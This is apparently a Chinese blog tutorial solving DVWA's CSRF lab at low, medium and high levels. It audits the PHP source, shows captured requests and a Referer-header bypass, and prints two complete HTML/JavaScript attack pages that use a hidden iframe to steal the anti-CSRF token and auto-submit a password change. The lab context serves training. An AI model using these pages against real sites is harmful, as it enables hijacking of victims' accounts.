• PHP代码审计DVWA CSRF通关流程


    在这里插入图片描述

    靶场搭建蓝易云服务器

    😘😘😘😘😘😘靶场搭建可以推荐用蓝易云服务器-点击查询

    CSRF

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,

    怎么去理解呢首先说一下流程概念

    怎么去达到这个攻击效果

    1. 黑客在某博点击了修改用户名称和密码的请求,他把名字改成了流批,密码改成了Nb111111,好输入完后呢,他打开抓包工具抓取了修好用户名称和密码的数据包,他不让数据包发出去,把数据包抓了
    2. 他现在抓到了修改用户为流批和密码为Nb111111的数据包了,下面第二步他就要封装数据包,他把数据包放到了一个1.html的文件里面,然后把这个1.html放到公网的服务器网站上面,
    3. 好了现在把修改用户和和密码的请求包放到了网站上这时候我们把网站1.html的url地址复制下来发送给一些用户
    4. 第四步了,发送给一些用户肯定要伪装一下对不对,我们伪造成一些八卦新闻等等的,发送给一些人,当别人看到这个东西,八卦的心就起来了,就点进去开
    5. 好最后一步了,当用户点开看了,他就会触发1.html,触发修改某博用户名称为流批密码为Nb11111的请求,如果他某博账户是登录状态的,当发送这个请求的时候,某博服务器就会去执行这个请求,把受害者的用户改成了流批密码改成了Nb111111这时候黑客就直接趁虚而入了,直接登录上受害者用户为所欲为了

    这就是CSRF的大概攻击的概念流程

    LOW

    在这里插入图片描述

    代码审计

    
    
    //if判断
        //isset函数判断非空
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        //获取修改的用户的密码
        //新密码
        $pass_new  = $_GET[ 'password_new' ];
        //确认新密码
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        //判断两次密码是否一样
        if( $pass_new == $pass_conf ) {
            // They do!
            //连接数据库大概
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            //密码进行md5值编码
            $pass_new = md5( $pass_new );
    
            // Update the database
            //sql语句修改user表里面的password=用户输入的password,条件是user=空
            $insert = "UPDATE `users` SET passwor d = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            //执行sql语句更新数据
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    '
    ); // Feedback for the user //修改成功 echo "
    Password Changed.
    "
    ; } else { // Issue with passwords matching //密码不匹配 echo "
    Passwords did not match.
    "
    ; } //断链 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    我们直接输入两个错误的密码获取url

    在这里插入图片描述

    这就是他的这个url

    我们看见新密码是1确认新密码是password

    而我们复制这条url

    新大开一个页面

    把新密码和确认新密码改成password

    在这里插入图片描述

    直接跳转到修改成功的页面

    也就是说这是某博

    我按照这样的步骤去弄的话,就能达到CSRF的攻击效果了

    Middle

    代码审计

    
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET passwor d = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    '
    ); // Feedback for the user echo "
    Password Changed.
    "
    ; } else { // Issue with passwords matching echo "
    Passwords did not match.
    "
    ; } } else { // Didn't come from a trusted source echo "
    That request didn't look correct.
    "
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证

     if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
    
    • 1

    那么这个呢我们还是用上一个的手段来试试

    在这里插入图片描述

    我们会发现不行了

    不可以了

    完蛋蛋了

    怎么搞呢

    我们想,首先刚刚说了他多了一个Referer字段进行验证

    我们不知道这个是什么牛马是不是

    没关系

    我们先抓一个正常的数据包

    正常数据包

    GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
    Host: 34.125.141.74:81
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Referer: http://34.125.14.44/vulnerabilities/csrf/?password_new=1&password_conf=111&Change=Change
    Cookie: PHPSESSID=bka9pr82vked08q6cpeaj307l0; security=medium
    Upgrade-Insecure-Requests: 1
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    我们还要抓取刚刚那个不行的数据包

    我们再用第一种方法取,复制url重新打开一个页面,然后访问抓取请求的数据包

    这就是用第一种方法抓取到的数据包

    GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
    Host: 34.125.141.74:81
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: PHPSESSID=bka9pr82vked08q6cpeaj307l0; security=medium
    Upgrade-Insecure-Requests: 1
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    我们通过对比

    发现正常的数据包比非正常的多了个

    Referer: http://34.125.14.44/vulnerabilities/csrf/?
    
    • 1

    联想到刚刚说的

    Referer字段进行验证

    我们就知道了他验证的就是这个了

    那么我们怎么取绕过这个验证呢

    很简单

    用最简单的方法取试

    他没有验证我们就给他加一个验证把正常的数据包的验证复制到非正常的数据包当中

    在这里插入图片描述

    加进去位置最好不要搞错,正常数据包他的位置在哪里非正常的就是在哪里

    然后放掉数据包

    在这里插入图片描述

    修改成功了

    High

    代码审计

     <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET passwor d = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    '
    ); // Feedback for the user echo "
    Password Changed.
    "
    ; } else { // Issue with passwords matching echo "
    Passwords did not match.
    "
    ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    这个的话主要改变的地方在于

    多了一个token

        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    • 1

    token的作用可以翻翻暴力破解篇

    用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

    攻击的办法

    <script type="text/javascript"> 
        function attack() {
     
       document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
       document.getElementById("transfer").submit();   }
    </script>
    <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
    </iframe>
     
    <body οnlοad="attack()">
     <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
     </form>
    </body>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    这个怎么利用呢

    就是

    在公网服务器上,然后把这个代码放到一个1.html中,

    那么代码中只需要改一下url地址就可以了

    改成你当前用的这个地址

    由于

        <input type="hidden" name="user_token" value="">
    
    • 1

    这个值value=是空的他会取获取token值

    第二种方法

    <!DOCTYPE html>
    <html>
    <head lang="en">
        <meta charset="UTF-8">
        <title></title>
        <script type="text/javascript">
            //获取用户的token,并设置为表单中的token,然后提交修改密码的表单
            function attack()
            {
                document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
                document.getElementById("transfer").submit();
            }
        </script>
    </head>
    <body onload="attack()">
        <iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack"  style="display:none;">  <!--在该网页内打开另一个网页-->
        </iframe>
        <form method="GET" id="transfer"  action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
            <input type="hidden" name="password_new" value="admin">
            <input type="hidden" name="password_conf" value="admin">
            <input type="hidden" name="user_token" value="">
            <input type="hidden" name="Change" value="Change">
        </form>
    </body>
    </html>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
  • 相关阅读:
    基于maven的项目搭建(已跑通)
    Leo赠书活动-07期 【嵌入式虚拟化技术与应用】文末送书
    【C++ Primer Plus学习记录】数组的替代品vector、array
    泵站机电设备健康状态系统建立的关键
    DAY52 300.最长递增子序列 + 674. 最长连续递增序列 + 718. 最长重复子数组
    初识C语言
    孙卫琴的《精通Vue.js》读书笔记-Vue组件的单向数据流
    自定义类加载器加载网络Class
    为什么void CreateListR(LinkNode*&S,String a[],int n)这里有问题
    【linux基础命令(2)】
  • 原文地址:https://blog.csdn.net/weixin_54882883/article/details/126356412